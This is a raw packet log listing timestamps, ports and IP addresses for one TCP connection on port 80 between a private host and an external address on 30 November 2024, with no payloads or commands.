Nov 30, 2024 22:53:15.846467972 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.846879959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.846930027 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.847238064 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.847287893 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.847666979 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.847717047 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.848131895 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.848184109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.848489046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.848542929 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.848858118 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.848903894 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.849276066 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.849328041 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.849699020 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.849751949 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.850116014 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.850169897 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.850544930 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.850599051 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.850941896 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.850996017 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.851350069 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.851398945 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.851793051 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.851865053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.852212906 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.852263927 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.852869987 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.852919102 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.853025913 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.853070974 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.853486061 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.853534937 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.853863955 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.853910923 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.854279995 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.854329109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.854612112 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.854655027 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.855144024 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.855195045 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.855444908 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.855492115 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.855871916 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.855917931 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.856287003 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.856333017 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.856687069 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.856735945 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.857162952 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.857209921 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.857517958 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.857563972 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.858155966 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.858201981 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.858536005 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.858582973 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.859009981 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.859091997 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.859213114 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.859260082 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.859631062 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.859683990 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.860413074 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.860426903 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.860476017 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.860954046 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.861004114 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.861660957 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.861675978 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.861711025 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.861730099 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.862298012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.862374067 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.862446070 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.862490892 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.862864017 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.862919092 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.863352060 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.863404036 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.863759995 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.863811016 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.864103079 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.864155054 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.864530087 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.864599943 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.864927053 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.864976883 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.865336895 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.865389109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.865727901 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.865777969 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.866177082 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.866228104 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.866682053 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.866731882 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.867038012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.867100954 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.867455959 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.867836952 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.867850065 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.867882967 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.868196964 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.868243933 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.868623018 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.868671894 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.869038105 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.869098902 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.869481087 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.869604111 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.869863987 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.869913101 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.870285988 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.870340109 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.870744944 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.870810032 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.871145010 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.871196985 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.871516943 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.871566057 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.871921062 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.871973991 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.872355938 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.872437954 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.872864008 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.872912884 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.873116970 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.873168945 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.873717070 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.873774052 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.873966932 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.874017000 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:15.874309063 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:15.874362946 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.055296898 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.055376053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.055480003 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.055524111 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.055859089 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.055912018 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.056433916 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.056483030 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.057045937 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.057059050 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.057101011 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.057591915 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.057604074 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.057642937 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.058717012 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.058729887 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.058777094 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.059359074 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.059410095 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.059833050 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.059885025 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.060345888 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.060359001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.060396910 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.060959101 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.061012030 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.061516047 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.061566114 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.061636925 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.061683893 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.062390089 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.062402010 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.062441111 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.063220978 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.063234091 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.063275099 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.063879013 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.063930035 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.064429998 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.064441919 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.064512968 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.065290928 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.065304041 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.065368891 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.065733910 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.065787077 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.066129923 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.066180944 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.066559076 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.066611052 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.066920996 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.066972971 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.067538977 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.067589045 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.068006992 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.068054914 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.068269968 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.068324089 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.068603039 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.068662882 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.068984985 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.069042921 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.069480896 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.069540977 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.069952965 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.070010900 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.070283890 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.070338011 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.070751905 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.070810080 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.071099997 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.071158886 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.071485043 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.071540117 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.072031975 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.072086096 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.072280884 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.072335005 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.072691917 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.072751999 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.073101044 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.073154926 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.073507071 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.073564053 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.074131966 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.074192047 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.074331999 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.074383974 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.074776888 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.074875116 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.075160027 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.075215101 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.076004982 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.076018095 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.076081991 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.076534033 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.076596022 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.076881886 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.076946020 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.077632904 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.077644110 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.077689886 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.078440905 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.078452110 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.078494072 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.079272032 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.079283953 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.079324007 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.079879045 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.079931021 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.080503941 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.080516100 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.080564022 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.080940962 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.080996037 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.081625938 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.081686020 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.081731081 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.081789017 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.082127094 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.082187891 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.082987070 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.082998991 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.083049059 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.083640099 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.083693027 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.083786011 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.083837986 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.084331989 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.084393978 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.084592104 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.084647894 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.085071087 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.085150957 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.085452080 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.085505962 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.085849047 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.085900068 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.086452007 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.086512089 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.086992979 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.087053061 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.087117910 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.087165117 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.087904930 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.087918043 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.087963104 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.088347912 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.088402033 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.089127064 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.089138985 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.089190960 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.089943886 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.089956045 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.090001106 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.090744972 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.090804100 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.090959072 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.091010094 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.091381073 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.091432095 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.092005968 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.092017889 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.092058897 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.092531919 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.092587948 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.093230009 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.093242884 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.093283892 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.094048023 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.094059944 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.094108105 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.094912052 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.094986916 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.095289946 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.095303059 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.095370054 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.095819950 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.095880985 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.096525908 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.096538067 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.096601963 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.097358942 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.097372055 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.097426891 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.098174095 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.098186016 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.098244905 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.098969936 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.099035025 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.256531000 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.256603956 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.256702900 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.256772041 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.257164001 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.257178068 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.257230997 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.261107922 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.261121988 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.261133909 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.261147022 CET	80	49741	185.215.113.16	192.168.2.9
Nov 30, 2024 22:53:16.261167049 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.261203051 CET	49741	80	192.168.2.9	185.215.113.16
Nov 30, 2024 22:53:16.261245012 CET	80	49741	185.215.113.16	192.168.2.9
